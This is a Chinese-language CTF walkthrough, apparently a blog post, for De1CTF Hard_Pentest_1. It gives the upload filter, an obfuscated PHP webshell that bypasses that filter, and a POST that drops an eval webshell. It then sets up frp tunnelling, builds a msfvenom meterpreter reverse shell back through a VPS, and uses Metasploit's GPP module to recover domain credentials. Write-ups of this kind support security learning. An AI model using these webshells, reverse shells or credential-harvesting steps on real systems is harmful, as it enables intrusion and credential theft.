De1CTF Hard_Pentest_1

文件上传

过滤如下

if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }

用p神讲过的自增shell可以绕过,没有php所以用短标签绕过,没有分号用逗号代替,也可以把每句话都用短标签括起来

<?=
@$_=[].'',
@$__=$_[''],
$___='',$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
$_=$__,$_++,$_++,$_++,$_++,$___.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
$____='_',$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
$_=$$____,$___($_[_]) ?>
//<?= SYSTEM($_POST[_]) ?>

再post一个_=echo "<?php eval($_REQUEST[cmd]); ?>" > 1.php,就可以拿蚁剑连上去了

frp + msf搭建渗透环境

题目给了hint说flag不在web服务器上,说明可能下一步要进行域渗透,我们的一句话木马就有点不够看了。在尝试各种弹shell方式都失败后,想到用msf。但是目标靶机在公网,kali在内网,直接反向shell是连不到的,所以只能祭出frp来进行内网穿透和转发。
首先去release页面下载对应平台的frp,然后将frps放到vps上,配置文件frps.ini内容如下

[common]
bind_port = 10001

表示frp服务器端接收客户端流量的端口。
将frpc放到kali里,配置文件frpc.ini内容如下

[common]
server_addr = xxx.xxx.xxx.xxx
server_port = 10001

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 10002

各项配置的意义为

  • server_addrvps的公网IP
  • server_portvps的监听端口,要与frps中的端口一致
  • local_port本地msf监听的端口,frps会把靶机的流量转发过来
  • remote_portfrps将通过vps的这个端口监听靶机的流量

接下来用msfvenom生成后门msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=10002 -f exe > remoteevil.exe,这里lhost是vps的公网ip,端口要填remote_port

vps上运行frps -c frps.ini

kali上运行frpc -c frpc.ini

msf做好收shell准备,把生成的后门用蚁剑传到靶机上去运行

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
exploit

域渗透与GPP

查看域下的用户

在共享目录下找到flag1压缩包

download下来发现打开需要密码

联想到之前有个用户的名字是HintZip_Pass,说明我们需要知道这个用户的密码。看wp后知道这里有个GPP漏洞(怎么发现的?),具体原理可以看这篇文章域安全篇:寻找SYSVOL里的密码和攻击GPP(组策略偏好)。漏洞利用正好msf有这个模块

use post/windows/gather/credentials/gpp
set SESSION 4
show options
exploit

成功跑出来密码

和存放密态密码的xml

解密压缩包,得到flag

posted @ 2020-05-06 22:22  MustaphaMond  阅读(319)  评论(0编辑  收藏  举报